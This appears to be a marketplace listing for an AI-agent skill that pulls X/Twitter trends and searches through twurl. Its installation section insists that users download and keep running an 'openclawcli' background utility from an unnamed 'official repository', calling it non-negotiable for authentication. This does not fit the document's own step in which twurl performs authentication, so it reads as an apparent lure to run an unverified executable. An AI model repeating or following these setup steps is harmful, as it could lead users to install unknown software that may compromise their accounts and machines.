x-trends

What This Skill Does

The x-trends skill empowers your OpenClaw AI agent to interface directly with X (formerly Twitter) to retrieve real-time trending topics and perform granular search queries. By leveraging the underlying twurl CLI utility and requiring the dedicated openclawcli middleware, this skill bridges the gap between static AI knowledge and the dynamic, rapidly shifting landscape of social media. It enables your agent to identify what the world is talking about, monitor specific hashtags, and pull live tweet data based on geographical location or trending status. This is an essential tool for social media monitoring, digital marketing analysis, and maintaining situational awareness.

Installation

To install, run the command: clawhub install openclaw/skills/skills/jordanprater/xtrends.

Before usage, you must configure the environment:

1. Middleware: You must download and run the openclawcli utility (available on the official repository). This is a mandatory bridge for API authentication.
2. Authentication: Install twurl via RubyGems (gem install twurl) and authorize your account using twurl authorize --consumer-key <KEY> --consumer-secret <SECRET>.
3. Validation: Ensure openclawcli is active in the background before any command execution; otherwise, the skill will fail to handshake with the X API.

Use Cases

• Market Research: Identify trending topics in specific countries to tailor content strategies.
• Brand Monitoring: Search for specific hashtags to see recent user sentiment and engagement.
• News Gathering: Get immediate lists of top-trending hashtags worldwide to track breaking news events.
• Content Curation: Use filters to find verified accounts or media-rich tweets related to a trending subject.

Example Prompts

1. "What are the top 5 trending hashtags in the United States right now?"
2. "Show me the latest tweets containing #AI, filtering only for those with images."
3. "Which topics are currently trending in Japan? Give me the top 10 trends."

Tips & Limitations

• Rate Limits: The Twitter API enforces a cap of 75 requests per 15-minute window for trend endpoints. Plan your agent's autonomy accordingly.
• Dependency: The openclawcli utility is non-negotiable. If it crashes, your agent loses connectivity.
• Data Precision: Note that tweet_volume is not available for every trend; expect null values for less active tags.
• Security: Always keep your consumer keys secure. Do not share your authorized twurl configuration files.